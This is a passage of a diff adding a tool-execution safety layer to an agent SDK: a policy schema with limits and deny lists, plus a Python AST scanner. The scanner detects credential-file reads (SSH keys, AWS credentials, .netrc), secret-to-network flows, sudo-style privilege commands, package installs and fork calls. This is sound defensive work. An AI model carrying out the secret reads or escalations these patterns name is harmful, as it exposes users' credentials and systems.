filesystem access).""" + + model_config = ConfigDict(extra="forbid") + + deny: tuple[str, ...] = () + + @field_validator("deny", mode="before") + @classmethod + def _normalize_paths(cls, value: Any) -> Any: + if value is None: + return () + if isinstance(value, str): + raise SafetyPolicyError("paths.deny must be a list") + normalized: list[str] = [] + for path in value: + if not isinstance(path, str) or not path.strip(): + raise SafetyPolicyError(f"invalid path entry: {path!r}") + normalized.append(_normalize_path_glob(path.strip())) + return tuple(normalized) + + +class LimitsPolicy(BaseModel): + """Numeric limits enforced by the guard and downstream wrapper.""" + + model_config = ConfigDict(extra="forbid") + + max_timeout_seconds: float = 60.0 + max_output_bytes: int = 1_048_576 + max_script_bytes: int = 262_144 + max_sleep_seconds: float = 30.0 + max_parallel_tasks: int = 16 + max_processes: int = 8 + max_file_write_bytes: int = 10_485_760 + + @model_validator(mode="after") + def _check_non_negative(self) -> "LimitsPolicy": + for field_name in ("max_timeout_seconds", "max_output_bytes", + "max_script_bytes", "max_sleep_seconds", + "max_parallel_tasks", "max_processes", + "max_file_write_bytes"): + value = getattr(self, field_name) + if value < 0: + raise SafetyPolicyError(f"{field_name} must be non-negative") + return self + + +class DefaultsPolicy(BaseModel): + """Knobs that change how ambiguity is treated.""" + + model_config = ConfigDict(extra="forbid") + + unknown_construct: str = "needs_human_review" + guard_error: str = "deny" + human_review_blocks_execution: bool = True + + @field_validator("unknown_construct", "guard_error") + @classmethod + def _validate_decision(cls, value: str) -> str: + allowed = {"allow", "needs_human_review", "deny"} + if value not in allowed: + raise SafetyPolicyError( + f"decision must be one of {sorted(allowed)}; got {value!r}" + ) + return value + + +class DependenciesPolicy(BaseModel): + """Decision applied when dependency install commands appear.""" + + model_config = ConfigDict(extra="forbid") + + decision: str = "deny" + + +class ToolFieldMapping(BaseModel): + """Declarative mapping from tool args to scan fields.""" + + model_config = ConfigDict(extra="forbid") + + execution_capable: bool = False + language: ScriptLanguage = ScriptLanguage.UNKNOWN + script: str | None = None + cwd: str | None = None + env: str | None = None + timeout: str | None = None + argv: str | None = None + + +class ToolSafetyPolicy(BaseModel): + """Top-level policy document.""" + + model_config = ConfigDict(extra="forbid") + + version: str = POLICY_VERSION + defaults: DefaultsPolicy = Field(default_factory=DefaultsPolicy) + limits: LimitsPolicy = Field(default_factory=LimitsPolicy) + network: NetworkPolicy = Field(default_factory=NetworkPolicy) + commands: CommandsPolicy = Field(default_factory=CommandsPolicy) + paths: PathsPolicy = Field(default_factory=PathsPolicy) + dependencies: DependenciesPolicy = Field(default_factory=DependenciesPolicy) + tools: dict[str, ToolFieldMapping] = Field(default_factory=dict) + rule_overrides: dict[str, str] = Field(default_factory=dict) + audit: "AuditPolicy" = Field(default_factory=lambda: AuditPolicy()) + sensitive_env_key_patterns: tuple[str, ...] = ( + "*KEY*", + "*TOKEN*", + "*PASSWORD*", + "*SECRET*", + "*CREDENTIAL*", + ) + + @field_validator("version") + @classmethod + def _check_version(cls, value: str) -> str: + if value != POLICY_VERSION: + raise SafetyPolicyError( + f"unsupported policy version {value!r}; expected {POLICY_VERSION!r}" + ) + return value + + @model_validator(mode="after") + def _check_rule_overrides(self) -> "ToolSafetyPolicy": + allowed = {"allow", "needs_human_review", "deny"} + for rule_id, action in self.rule_overrides.items(): + if action not in allowed: + raise SafetyPolicyError( + f"rule_overrides[{rule_id!r}] must be one of " + f"{sorted(allowed)}; got {action!r}" + ) + return self + + @property + def hash(self) -> str: + """SHA-256 over canonical JSON form.""" + + return _compute_policy_hash(self) + + +class AuditPolicy(BaseModel): + """Audit sink behavior.""" + + model_config = ConfigDict(extra="forbid") + + enabled: bool = True + required: bool = True + path: str = "tool_safety_audit.jsonl" + + +# --------------------------------------------------------------------------- # +# Loading +# --------------------------------------------------------------------------- # + +def load_safety_policy(path: str | os.PathLike[str]) -> ToolSafetyPolicy: + """Load and validate a YAML policy file. + + Raises :class:`SafetyPolicyError` on any malformed input. Never returns + a partial or permissive policy. + """ + + path = os.fspath(path) + try: + with open(path, "r", encoding="utf-8") as handle: + raw = yaml.safe_load(handle) + except FileNotFoundError as exc: + raise SafetyPolicyError(f"policy file not found: {path}") from exc + except yaml.YAMLError as exc: + raise SafetyPolicyError(f"invalid YAML in {path}: {exc}") from exc + if raw is None: + raise SafetyPolicyError(f"policy file is empty: {path}") + if not isinstance(raw, dict): + raise SafetyPolicyError(f"policy root must be a mapping: {path}") + raw.setdefault("version", POLICY_VERSION) + try: + policy = ToolSafetyPolicy.model_validate(raw) + except Exception as exc: # pydantic ValidationError + raise SafetyPolicyError(f"policy validation failed: {exc}") from exc + return policy + + +def load_safety_policy_dict(data: dict[str, Any]) -> ToolSafetyPolicy: + """Load a policy from an in-memory mapping. Used by tests.""" + + data = dict(data) + data.setdefault("version", POLICY_VERSION) + try: + return ToolSafetyPolicy.model_validate(data) + except Exception as exc: + raise SafetyPolicyError(f"policy validation failed: {exc}") from exc + + +# --------------------------------------------------------------------------- # +# Normalization helpers +# --------------------------------------------------------------------------- # + +_TRAILING_SLASH = re.compile(r"/+$") + + +def _normalize_path_glob(pattern: str) -> str: + """Lexically normalize a path glob. + + * Expands ``~`` to the literal string ``~`` (no filesystem access). + * Collapses repeated separators. + * Strips trailing slashes except for the root ``/``. + """ + + if not pattern: + return pattern + if pattern.startswith("~"): + head = "~" + rest = pattern[1:] + else: + head = "" + rest = pattern + rest = rest.replace("\\", "/") + parts: list[str] = [] + for part in rest.split("/"): + if part in ("", "."): + continue + if part == "..": + continue + parts.append(part) + normalized = "/".join(parts) + if not normalized: + return head or "." + if head: + return f"{head}/{normalized}" + if pattern.startswith("/"): + return f"/{normalized}" + return normalized + + +def normalize_relpath(path: str) -> str: + """Best-effort lexical normalization for matching purposes.""" + + return _normalize_path_glob(path) + + +def match_path_glob(path: str, pattern: str) -> bool: + """Match a path against a glob, lexically. + + ``**`` matches any number of path segments. ``*`` matches within a + single segment. The pattern also matches when the path lives inside + a pattern directory (``/etc`` matches ``/etc/passwd``). + """ + + import fnmatch + + if not path or not pattern: + return False + norm_path = _normalize_path_glob(path) + norm_pattern = _normalize_path_glob(pattern) + if fnmatch.fnmatch(norm_path, norm_pattern): + return True + # Also accept ``pattern/**`` style matches: /etc matches /etc/passwd. + if norm_pattern and not norm_pattern.endswith("**"): + prefix = norm_pattern.rstrip("/") + if prefix and (norm_path == prefix + or norm_path.startswith(prefix + "/") + or norm_path.startswith(prefix + "\\") + or (prefix.startswith("~") and + norm_path.startswith(prefix + "/"))): + return True + # Try with explicit /** suffix. + if fnmatch.fnmatch(norm_path, f"{norm_pattern}/**"): + return True + # Also try matching with leading wildcard for relative paths + if not norm_path.startswith("/") and not norm_path.startswith("~"): + for prefix in ("/", "~/"): + if fnmatch.fnmatch(f"{prefix}{norm_path}", f"{prefix}{norm_pattern}"): + return True + if fnmatch.fnmatch(f"{prefix}{norm_path}", f"{prefix}{norm_pattern}/**"): + return True + return False + + +def match_domain(host: str, allowed: Iterable[str]) -> bool: + """Match a host against the allow list. + + ``*.example.com`` matches exactly ``api.example.com`` (one segment), + not ``example.com`` and not ``a.b.example.com``. + """ + + if not host: + return False + h = host.lower().rstrip(".") + for entry in allowed: + e = entry.lower().rstrip(".") + if e == h: + return True + if e.startswith("*."): + suffix = e[2:] + if "." in h: + _, _, host_suffix = h.partition(".") + if host_suffix == suffix: + return True + return False + + +def is_sensitive_env_key(key: str, patterns: Iterable[str]) -> bool: + """Match an env key against sensitive-name patterns. + + Patterns use shell-style ``*`` wildcards (case-insensitive). + """ + + if not key: + return False + for pattern in patterns: + if _shell_match(key.lower(), pattern.lower()): + return True + return False + + +def _shell_match(value: str, pattern: str) -> bool: + import fnmatch + + return fnmatch.fnmatchcase(value, pattern) + + +def _compute_policy_hash(policy: ToolSafetyPolicy) -> str: + canonical = policy.model_dump(mode="json", exclude_none=True) + serialized = json.dumps(canonical, sort_keys=True, + separators=(",", ":"), ensure_ascii=False) + return hashlib.sha256(serialized.encode("utf-8")).hexdigest() + + +# Resolve forward reference for AuditPolicy +ToolSafetyPolicy.model_rebuild() + + +def normalize_script_path_for_match(path_value: str) -> str: + """Normalize a script-referenced path for deny-list matching.""" + + if not path_value: + return path_value + expanded = os.path.expanduser(path_value) + return str(PurePosixPath(expanded.replace("\\", "/"))) diff --git a/trpc_agent_sdk/tools/safety/_python_scanner.py b/trpc_agent_sdk/tools/safety/_python_scanner.py new file mode 100644 index 00000000..7db81c7c --- /dev/null +++ b/trpc_agent_sdk/tools/safety/_python_scanner.py @@ -0,0 +1,1055 @@ +"""Python AST scanner that extracts ScriptFacts. + +The scanner walks the parsed AST once, resolving import aliases so +``import requests as r; r.get(...)`` is recognized as a requests call. +Taint propagation is deliberately shallow: literals, names, direct +assignments, f-strings, concatenation, and shallow container +construction. Deeper flows surface as ``OBF001_DYNAMIC_EXEC`` instead +of a false claim of safety. +""" + +from __future__ import annotations + +import ast +import os +from typing import Any, Iterator + +from trpc_agent_sdk.tools.safety._exceptions import SafetyScannerError +from trpc_agent_sdk.tools.safety._facts import ( + ConcurrencyFact, + DependencyInstallFact, + DynamicExecFact, + FileDeleteFact, + FileReadFact, + FileWriteFact, + ForkBombFact, + LargeWriteFact, + Loc, + LongSleepFact, + NetworkFact, + ParseErrorFact, + PrivilegeFact, + ProcessFact, + ScriptFacts, + SecretFlowFact, + ShellOperatorFact, + UnboundedLoopFact, +) +from trpc_agent_sdk.tools.safety._models import ScriptLanguage +from trpc_agent_sdk.tools.safety._rules import _LanguageScannerRule, SafetyRule +from trpc_agent_sdk.tools.safety._policy import is_sensitive_env_key +from trpc_agent_sdk.tools.safety._redaction import contains_secret_literal + + +# Networks libs and the attribute used to extract a host arg. +_NETWORK_LIBS: dict[str, tuple[str, ...]] = { + "requests": ("get", "post", "put", "delete", "patch", "head", + "options", "request"), + "aiohttp": ("get", "post", "put", "delete", "patch", "head", + "options", "request", "ClientSession"), + "httpx": ("get", "post", "put", "delete", "patch", "head", + "options", "request", "Client"), + "urllib.request": ("urlopen", "urlretrieve", "Request"), + "urllib": ("urlopen",), + "http.client": ("HTTPConnection", "HTTPSConnection"), + "websocket": ("create_connection",), + "socket": ("socket", "connect", "create_connection"), +} + +_PRIVILEGE_COMMANDS = {"sudo", "su", "doas", "pkexec"} + +_PACKAGE_MANAGERS = { + "pip": ("install",), + "pip3": ("install",), + "python": (), # special-cased with -m pip + "npm": ("install", "i", "add"), + "yarn": ("add", "install"), + "pnpm": ("add", "install"), + "apt": ("install",), + "apt-get": ("install",), + "apk": ("add",), + "yum": ("install",), + "dnf": ("install",), + "brew": ("install",), + "conda": ("install", "create"), +} + +# Names whose presence on the right-hand side of an assignment marks the +# left-hand name as carrying a secret. +_SECRET_SOURCE_NAMES = { + "os.environ", + "os.environ.get", + "os.getenv", + "environ", + "environ.get", + "getenv", +} + + +# --------------------------------------------------------------------------- # +# Source helpers +# --------------------------------------------------------------------------- # + +def _src_segment(source: str, node: ast.AST) -> str: + """Best-effort source segment for a node.""" + + if not hasattr(node, "lineno") or node.lineno <= 0: + return "" + try: + segment = ast.get_source_segment(source, node) + except Exception: # pragma: no cover - defensive + segment = None + if segment is None: + return "" + return segment.strip() + + +def _loc(node: ast.AST) -> Loc: + line = getattr(node, "lineno", 0) or 0 + col = getattr(node, "col_offset", 0) or 0 + return Loc(line=line, column=col + 1) + + +def _const_str(node: ast.AST) -> str | None: + """Return the string literal value if node is a constant string.""" + + if isinstance(node, ast.Constant) and isinstance(node.value, str): + return node.value + return None + + +def _const_int(node: ast.AST) -> int | None: + if isinstance(node, ast.Constant) and isinstance(node.value, int): + return node.value + return None + + +def _format_string(node: ast.AST) -> str | None: + """Return the static prefix of an f-string or concatenated string.""" + + if isinstance(node, ast.Constant) and isinstance(node.value, str): + return node.value + if isinstance(node, ast.JoinedStr): + out = [] + for value in node.values: + text = _format_string(value) + if text is None: + out.append("{dynamic}") + else: + out.append(text) + return "".join(out) + if isinstance(node, ast.FormattedValue): + return "{dynamic}" + return None + + +# --------------------------------------------------------------------------- # +# Scanner +# --------------------------------------------------------------------------- # + +class _PythonScanner: + """Walks the AST once and collects facts.""" + + def __init__(self, source: str) -> None: + self.source = source + self.tree: ast.AST | None = None + self.parse_errors: list[ParseErrorFact] = [] + self._alias_to_canonical: dict[str, str] = {} + self._tainted: dict[str, str] = {} # name -> source label + self._path_aliases: dict[str, ast.AST] = {} + self._loops_stack: list[ast.AST] = [] + + # Accumulators + self.file_deletes: list[FileDeleteFact] = [] + self.file_writes: list[FileWriteFact] = [] + self.file_reads: list[FileReadFact] = [] + self.network_calls: list[NetworkFact] = [] + self.process_calls: list[ProcessFact] = [] + self.shell_operators: list[ShellOperatorFact] = [] + self.privilege_commands: list[PrivilegeFact] = [] + self.dependency_installs: list[DependencyInstallFact] = [] + self.unbounded_loops: list[UnboundedLoopFact] = [] + self.fork_bombs: list[ForkBombFact] = [] + self.long_sleeps: list[LongSleepFact] = [] + self.concurrency: list[ConcurrencyFact] = [] + self.large_writes: list[LargeWriteFact] = [] + self.secret_flows: list[SecretFlowFact] = [] + self.dynamic_execs: list[DynamicExecFact] = [] + + def parse(self) -> None: + try: + self.tree = ast.parse(self.source) + except SyntaxError as exc: + self.parse_errors.append(ParseErrorFact( + snippet="", + loc=Loc(line=exc.lineno or 0, column=exc.offset or 0), + message=f"SyntaxError: {exc.msg}", + )) + + def scan(self) -> ScriptFacts: + if self.tree is None: + return ScriptFacts( + language=ScriptLanguage.PYTHON, + parse_errors=tuple(self.parse_errors), + ) + for node in ast.walk(self.tree): + if isinstance(node, ast.Import): + for alias in node.names: + canon = alias.name + local = alias.asname or alias.name.split(".")[0] + self._alias_to_canonical[local] = canon + elif isinstance(node, ast.ImportFrom): + module = node.module or "" + for alias in node.names: + local = alias.asname or alias.name + canon = f"{module}.{alias.name}" if module else alias.name + self._alias_to_canonical[local] = canon + self._collect_path_aliases() + for node in ast.walk(self.tree): + self._visit_any(node) + return self._facts() + + def _collect_path_aliases(self) -> None: + """Build name -> AST map for ``x = Path(...) / "literal"`` chains.""" + + if self.tree is None: + return + for node in ast.walk(self.tree): + if not isinstance(node, ast.Assign): + continue + for target in node.targets: + if not isinstance(target, ast.Name): + continue + if self._is_path_construction(node.value): + self._path_aliases[target.id] = node.value + + def _is_path_construction(self, node: ast.AST) -> bool: + if isinstance(node, ast.Call): + canonical = self._canonical_name(node.func) + return canonical in {"pathlib.Path", "Path", "PosixPath", + "pathlib.PurePath", "pathlib.PurePosixPath"} + if isinstance(node, ast.BinOp) and isinstance(node.op, ast.Div): + return True + return False + + # ----- generic dispatch ----- # + + def _visit_any(self, node: ast.AST) -> None: + if isinstance(node, ast.Call): + self._visit_call(node) + elif isinstance(node, ast.Assign): + self._visit_assign(node) + elif isinstance(node, (ast.While, ast.For)): + self._visit_loop(node) + elif isinstance(node, ast.Subscript): + self._visit_subscript(node) + + # ----- assignments / taint ----- # + + def _visit_assign(self, node: ast.Assign) -> None: + source_label = self._secret_source_label(node.value) + if source_label is None: + return + for target in node.targets: + name = self._name_of(target) + if name: + self._tainted[name] = source_label + + def _visit_subscript(self, node: ast.AST) -> None: + # os.environ["KEY"] reading -- mark nothing yet; taint flows from + # later assignments handled above. + pass + + def _secret_source_label(self, node: ast.AST) -> str | None: + if isinstance(node, ast.Call): + canonical = self._canonical_name(node.func) + if canonical in _SECRET_SOURCE_NAMES: + arg = node.args[0] if node.args else None + key = _const_str(arg) or "" + return f"env:{key}" + # open(..., "r") on credential path + if canonical in ("open", "io.open", "pathlib.Path.open", + "codecs.open"): + kind = self._credential_kind_for_open(node) + if kind: + return f"file:{kind}" + if isinstance(node, ast.Subscript): + canonical = self._canonical_name(node.value) + if canonical in ("os.environ", "environ"): + key = _const_str(node.slice) or "" + return f"env:{key}" + return None + + def _credential_kind_for_open(self, call: ast.Call) -> str | None: + if not call.args: + return None + target = _const_str(call.args[0]) + if not target: + return None + lowered = target.lower() + if ".ssh" in lowered or "id_rsa" in lowered or "id_ecdsa" in lowered \ + or "id_ed25519" in lowered: + return "credential" + if "credentials" in lowered or ".netrc" in lowered \ + or "kubeconfig" in lowered or ".aws/credentials" in lowered: + return "credential" + if lowered.endswith(".pem") or lowered.endswith(".key") \ + or lowered.endswith(".p12") or lowered.endswith(".pfx"): + return "credential" + return None + + # ----- calls ----- # + + def _visit_call(self, node: ast.Call) -> None: + canonical = self._canonical_name(node.func) + if not canonical: + return + # 1) File operations + if canonical in {"os.remove", "os.unlink"}: + self.file_deletes.append(self._file_delete(node, recursive=False)) + return + if canonical in {"os.rmdir", "pathlib.Path.rmdir", + "pathlib.Path.unlink"}: + self.file_deletes.append(self._file_delete(node, recursive=False)) + return + if canonical == "shutil.rmtree": + self.file_deletes.append(self._file_delete(node, recursive=True)) + return + if canonical in {"pathlib.Path.write_text", + "pathlib.Path.write_bytes"}: + self.file_writes.append(self._pathlib_write(node, canonical)) + return + if canonical in {"pathlib.Path.read_text", + "pathlib.Path.read_bytes", + "pathlib.Path.read"}: + self._handle_pathlib_read(node) + return + # Fallback for ``path.read_text()`` where ``path`` is a local alias + # assigned from a ``Path(...)`` construction. + if isinstance(node.func, ast.Attribute) \ + and node.func.attr in {"read_text", "read_bytes", "read"} \ + and isinstance(node.func.value, ast.Name) \ + and node.func.value.id in self._path_aliases: + self._handle_pathlib_read(node) + return + if canonical in {"open", "io.open", "codecs.open", + "pathlib.Path.open"}: + self._handle_open(node) + return + + # 2) Network calls + if self._handle_network_call(node, canonical): + return + + # 3) Subprocess / shell + if self._handle_process_call(node, canonical): + return + + # 4) Dynamic exec + if canonical in {"eval", "exec", "compile"}: + self.dynamic_execs.append(DynamicExecFact( + snippet=_src_segment(self.source, node), + loc=_loc(node), + kind=canonical.split(".")[-1], + )) + return + if canonical in {"importlib.import_module", + "importlib.__import__", "__import__"}: + self.dynamic_execs.append(DynamicExecFact( + snippet=_src_segment(self.source, node), + loc=_loc(node), + kind="dynamic_import", + )) + return + if canonical == "getattr": + # getattr(os, "system") -- only flag when the attribute name + # is a string literal pointing at a dangerous primitive. + if len(node.args) >= 2: + attr = _const_str(node.args[1]) + if attr in {"system", "popen", "exec", "eval", "fork"}: + self.dynamic_execs.append(DynamicExecFact( + snippet=_src_segment(self.source, node), + loc=_loc(node), + kind=f"getattr:{attr}", + )) + return + + # 5) Sleep + if canonical in {"time.sleep", "asyncio.sleep", "sleep"}: + self._handle_sleep(node) + return + + # 6) Concurrency primitives + if self._handle_concurrency_call(node, canonical): + return + + # 7) Output sinks (secret flow detection) + self._handle_sink_call(node, canonical) + + # ----- file delete / write ----- # + + def _file_delete(self, node: ast.Call, *, recursive: bool) -> FileDeleteFact: + target = "" + explicit = True + if node.args: + target = _const_str(node.args[0]) or "" + if not target: + explicit = False + target = self._name_of(node.args[0]) or "" + return FileDeleteFact( + snippet=_src_segment(self.source, node), + loc=_loc(node), + target=target, + recursive=recursive, + explicit=explicit, + ) + + def _pathlib_write(self, node: ast.Call, canonical: str) -> FileWriteFact: + target = "" + explicit = True + # For pathlib.Path.write_text, the receiver is the path. + if isinstance(node.func, ast.Attribute) \ + and isinstance(node.func.value, ast.Call): + target = _const_str(_first_arg(node.func.value)) or "" + size = None + if node.args: + data_arg = node.args[0] if node.args else None + size = self._static_size(data_arg) + if not target: + explicit = False + target = "" + return FileWriteFact( + snippet=_src_segment(self.source, node), + loc=_loc(node), + target=target, + mode="w", + explicit=explicit, + ) + + def _handle_open(self, node: ast.Call) -> None: + target = "" + explicit = True + if node.args: + target = _const_str(node.args[0]) or "" + if not target: + explicit = False + target = "" + mode = "r" + for arg in node.args[1:]: + if isinstance(arg, ast.Constant) and isinstance(arg.value, str): + mode = arg.value + break + if any(ch in mode for ch in ("w", "a", "x", "+")): + self.file_writes.append(FileWriteFact( + snippet=_src_segment(self.source, node), + loc=_loc(node), + target=target, + mode=mode, + explicit=explicit, + )) + else: + kind = self._credential_kind_for_str(target) or "regular" + if target.lower().endswith(".env") or ".env" in target.lower(): + kind = "dotenv" + self.file_reads.append(FileReadFact( + snippet=_src_segment(self.source, node), + loc=_loc(node), + target=target, + kind=kind, + explicit=explicit, + )) + + def _handle_pathlib_read(self, node: ast.Call) -> None: + """Handle ``Path(...).read_text()`` / ``read_bytes()``.""" + + target = "" + explicit = True + # The receiver (Path(...) call) holds the path argument. + receiver = node.func.value if isinstance(node.func, ast.Attribute) else None + # Resolve name aliases: ``path = Path(...) / ".ssh" / "id_rsa"`` + # then ``path.read_text()``. + if isinstance(receiver, ast.Name) and receiver.id in self._path_aliases: + receiver = self._path_aliases[receiver.id] + path_arg: ast.AST | None = None + if isinstance(receiver, ast.Call): + path_arg = _first_arg(receiver) + # Also collect any "/..." BinOp chain so we can see the full path + extra = self._collect_path_chain(receiver) + if extra: + target = extra + elif isinstance(receiver, ast.Constant) and isinstance(receiver.value, str): + path_arg = receiver + target = receiver.value + elif isinstance(receiver, ast.JoinedStr): + path_arg = receiver + elif isinstance(receiver, ast.BinOp): + target = self._collect_path_chain(receiver) or "" + if not target and path_arg is not None: + target = _const_str(path_arg) or _format_string(path_arg) or "" + if not target: + explicit = False + target = "" + elif "{dynamic}" in target or "" in target: + # Even partial dynamic paths can carry credential markers. + kind = self._credential_kind_for_str(target) + if not kind: + explicit = False + target = "" + kind = self._credential_kind_for_str(target) or "regular" + if target.lower().endswith(".env") or ".env" in target.lower(): + kind = "dotenv" + self.file_reads.append(FileReadFact( + snippet=_src_segment(self.source, node), + loc=_loc(node), + target=target, + kind=kind, + explicit=explicit, + )) + + def _collect_path_chain(self, node: ast.AST) -> str: + """Flatten ``Path(a) / "b" / "c"`` into ``/b/c``.""" + + parts: list[str] = [] + self._walk_path_chain(node, parts) + if not parts: + return "" + return "/".join(parts) + + def _walk_path_chain(self, node: ast.AST | None, + parts: list[str]) -> None: + if node is None: + return + if isinstance(node, ast.BinOp) and isinstance(node.op, ast.Div): + self._walk_path_chain(node.left, parts) + self._walk_path_chain(node.right, parts) + return + if isinstance(node, ast.Call): + canonical = self._canonical_name(node.func) + if canonical in {"pathlib.Path", "Path", "PosixPath", + "pathlib.PurePath", "pathlib.PurePosixPath"}: + if node.args: + arg_text = _const_str(node.args[0]) \ + or _format_string(node.args[0]) + parts.append(arg_text or "") + return + if isinstance(node, ast.Constant) and isinstance(node.value, str): + parts.append(node.value) + return + if isinstance(node, ast.Name): + alias = self._path_aliases.get(node.id) + if alias is not None: + self._walk_path_chain(alias, parts) + return + parts.append("") + return + parts.append("") + + def _credential_kind_for_str(self, target: str) -> str | None: + if not target: + return None + lowered = target.lower() + if ".ssh" in lowered or "id_rsa" in lowered or "id_ecdsa" in lowered \ + or "id_ed25519" in lowered: + return "credential" + if "credentials" in lowered or ".netrc" in lowered \ + or "kubeconfig" in lowered or ".aws/credentials" in lowered: + return "credential" + if lowered.endswith(".pem") or lowered.endswith(".key") \ + or lowered.endswith(".p12") or lowered.endswith(".pfx"): + return "credential" + return None + + # ----- network ----- # + + def _handle_network_call(self, node: ast.Call, canonical: str) -> bool: + parts = canonical.split(".") + if len(parts) >= 2: + lib = ".".join(parts[:-1]) + method = parts[-1] + else: + lib = canonical + method = "" + if lib not in _NETWORK_LIBS and canonical not in _NETWORK_LIBS: + return False + library_name = lib if lib in _NETWORK_LIBS else canonical + allowed_methods = _NETWORK_LIBS.get(library_name, ()) + if allowed_methods and method not in allowed_methods and canonical not in _NETWORK_LIBS: + return False + target, dynamic = self._extract_network_target(node) + if target is None and not dynamic: + # Couldn't find a literal and not flagged dynamic -- still + # record as dynamic so the call doesn't disappear silently. + dynamic = True + self.network_calls.append(NetworkFact( + snippet=_src_segment(self.source, node), + loc=_loc(node), + target=target or "", + library=library_name, + dynamic=dynamic, + )) + # Secret flow: tainted value flows into params/data/headers. + if self._tainted_flows_into_call(node): + self.secret_flows.append(SecretFlowFact( + snippet=_src_segment(self.source, node), + loc=_loc(node), + source="", + sink=canonical, + sink_kind="network", + )) + return True + + def _extract_network_target(self, node: ast.Call) -> tuple[str | None, bool]: + # Look for the first string-like argument or url= keyword. + candidates: list[ast.AST] = list(node.args) + for kw in node.keywords: + if kw.arg in {"url", "uri", "host", "address", "address_tuple"}: + candidates.insert(0, kw.value) + for cand in candidates: + text = _format_string(cand) + if text is not None: + if "{dynamic}" in text: + # If the dynamic part is only in the path/query, we + # can still extract the host from the prefix. + host = _host_from_url(text.replace("{dynamic}", "")) + if host and not _looks_dynamic_host(host): + return (host, False) + return (None, True) + host = _host_from_url(text) + if host: + return (host, False) + else: + return (None, True) + return (None, True) + + # ----- process / subprocess ----- # + + def _handle_process_call(self, node: ast.Call, canonical: str) -> bool: + if canonical in {"subprocess.run", "subprocess.Popen", + "subprocess.call", "subprocess.check_call", + "subprocess.check_output"}: + self._record_subprocess(node, canonical) + return True + if canonical in {"os.system", "os.popen"}: + self._record_system_call(node, canonical, shell=True) + return True + if canonical == "pty.spawn": + self._record_system_call(node, canonical, shell=True) + return True + return False + + def _record_subprocess(self, node: ast.Call, canonical: str) -> None: + shell = False + for kw in node.keywords: + if kw.arg == "shell" and isinstance(kw.value, ast.Constant): + shell = bool(kw.value.value) + command_str, has_operators, dynamic = self._subprocess_command(node) + self.process_calls.append(ProcessFact( + snippet=_src_segment(self.source, node), + loc=_loc(node), + command=command_str, + shell=shell if shell else None, + has_operators=has_operators, + )) + # Privilege / dependency inspection + self._maybe_record_special_command(command_str, node, dynamic) + if shell: + self.shell_operators.append(ShellOperatorFact( + snippet=_src_segment(self.source, node), + loc=_loc(node), + operator="shell=True", + )) + if self._tainted_flows_into_call(node): + self.secret_flows.append(SecretFlowFact( + snippet=_src_segment(self.source, node), + loc=_loc(node), + source="", + sink=canonical, + sink_kind="subprocess", + )) + + def _record_system_call(self, node: ast.Call, canonical: str, + *, shell: bool) -> None: + command_str, has_operators, dynamic = self._subprocess_command(node) + self.process_calls.append(ProcessFact( + snippet=_src_segment(self.source, node), + loc=_loc(node), + command=command_str, + shell=shell, + has_operators=has_operators, + )) + self._maybe_record_special_command(command_str, node, dynamic) + if has_operators: + for op in _SHELL_OPERATORS_IN(command_str): + self.shell_operators.append(ShellOperatorFact( + snippet=_src_segment(self.source, node), + loc=_loc(node), + operator=op, + )) + if self._tainted_flows_into_call(node): + self.secret_flows.append(SecretFlowFact( + snippet=_src_segment(self.source, node), + loc=_loc(node), + source="", + sink=canonical, + sink_kind="subprocess", + )) + + def _subprocess_command(self, node: ast.Call) -> tuple[str, bool, bool]: + """Return (command_text, has_shell_operators, dynamic).""" + + if not node.args: + return ("", False, True) + first = node.args[0] + # subprocess.run(["ls", "-l"]) -- list form + if isinstance(first, ast.List): + tokens = [] + for item in first.elts: + text = _const_str(item) + if text is None: + return (" ".join(tokens), False, True) + tokens.append(text) + return (" ".join(tokens), False, False) + if isinstance(first, ast.Constant) and isinstance(first.value, str): + return (first.value, bool(_SHELL_OPERATORS_IN(first.value)), False) + # Dynamic construction + return ("", False, True) + + def _maybe_record_special_command(self, command_str: str, + node: ast.Call, + dynamic: bool) -> None: + if dynamic or not command_str: + return + tokens = command_str.split() + if not tokens: + return + executable = tokens[0].lower() + if executable in _PRIVILEGE_COMMANDS: + self.privilege_commands.append(PrivilegeFact( + snippet=_src_segment(self.source, node), + loc=_loc(node), + command=executable, + )) + # pip install / npm install / apt install / ... + if executable in _PACKAGE_MANAGERS: + install_subcommands = _PACKAGE_MANAGERS[executable] + if executable == "python" and "-m" in tokens: + idx = tokens.index("-m") + 1 if "-m" in tokens else -1 + if idx > 0 and idx < len(tokens) \ + and tokens[idx] in {"pip", "pip3"} \ + and idx + 1 < len(tokens) \ + and tokens[idx + 1] == "install": + self.dependency_installs.append(DependencyInstallFact( + snippet=_src_segment(self.source, node), + loc=_loc(node), + manager=tokens[idx], + command=" ".join(tokens[idx:]), + )) + return + if install_subcommands and len(tokens) >= 2 \ + and tokens[1] in install_subcommands: + self.dependency_installs.append(DependencyInstallFact( + snippet=_src_segment(self.source, node), + loc=_loc(node), + manager=executable, + command=command_str, + )) + + # ----- sleep ----- # + + def _handle_sleep(self, node: ast.Call) -> None: + duration: float | None = None + raw = "" + if node.args: + arg = node.args[0] + if isinstance(arg, ast.Constant) and isinstance(arg.value, (int, float)): + duration = float(arg.value) + raw = str(arg.value) + else: + raw = _src_segment(self.source, arg) + self.long_sleeps.append(LongSleepFact( + snippet=_src_segment(self.source, node), + loc=_loc(node), + duration_seconds=duration, + raw=raw, + )) + + # ----- concurrency ----- # + + def _handle_concurrency_call(self, node: ast.Call, canonical: str) -> bool: + if canonical in {"multiprocessing.Process", + "multiprocessing.Pool", + "concurrent.futures.ThreadPoolExecutor", + "concurrent.futures.ProcessPoolExecutor", + "threading.Thread"}: + count = self._static_thread_count(node) + self.concurrency.append(ConcurrencyFact( + snippet=_src_segment(self.source, node), + loc=_loc(node), + count=count, + raw=canonical, + )) + return True + if canonical == "os.fork": + self.fork_bombs.append(ForkBombFact( + snippet=_src_segment(self.source, node), + loc=_loc(node), + pattern="os.fork", + )) + return True + return False + + def _static_thread_count(self, node: ast.Call) -> int | None: + for kw in node.keywords: + if kw.arg in {"max_workers", "processes", "threads", "n"}: + if isinstance(kw.value, ast.Constant) \ + and isinstance(kw.value.value, int): + return kw.value.value + return None + + # ----- sinks ----- # + + def _handle_sink_call(self, node: ast.Call, canonical: str) -> None: + sink_kind: str | None = None + sink_name: str | None = None + if canonical in {"print", "pprint.pprint", "pprint.pp"}: + sink_kind = "output" + sink_name = canonical + elif canonical.startswith("logging.") or canonical in { + "logger.info", "logger.debug", "logger.warning", + "logger.error", "logger.critical", "logger.log", + "logger.exception"}: + sink_kind = "output" + sink_name = canonical + elif canonical in {"open", "io.open", "codecs.open", + "pathlib.Path.open", + "pathlib.Path.write_text", + 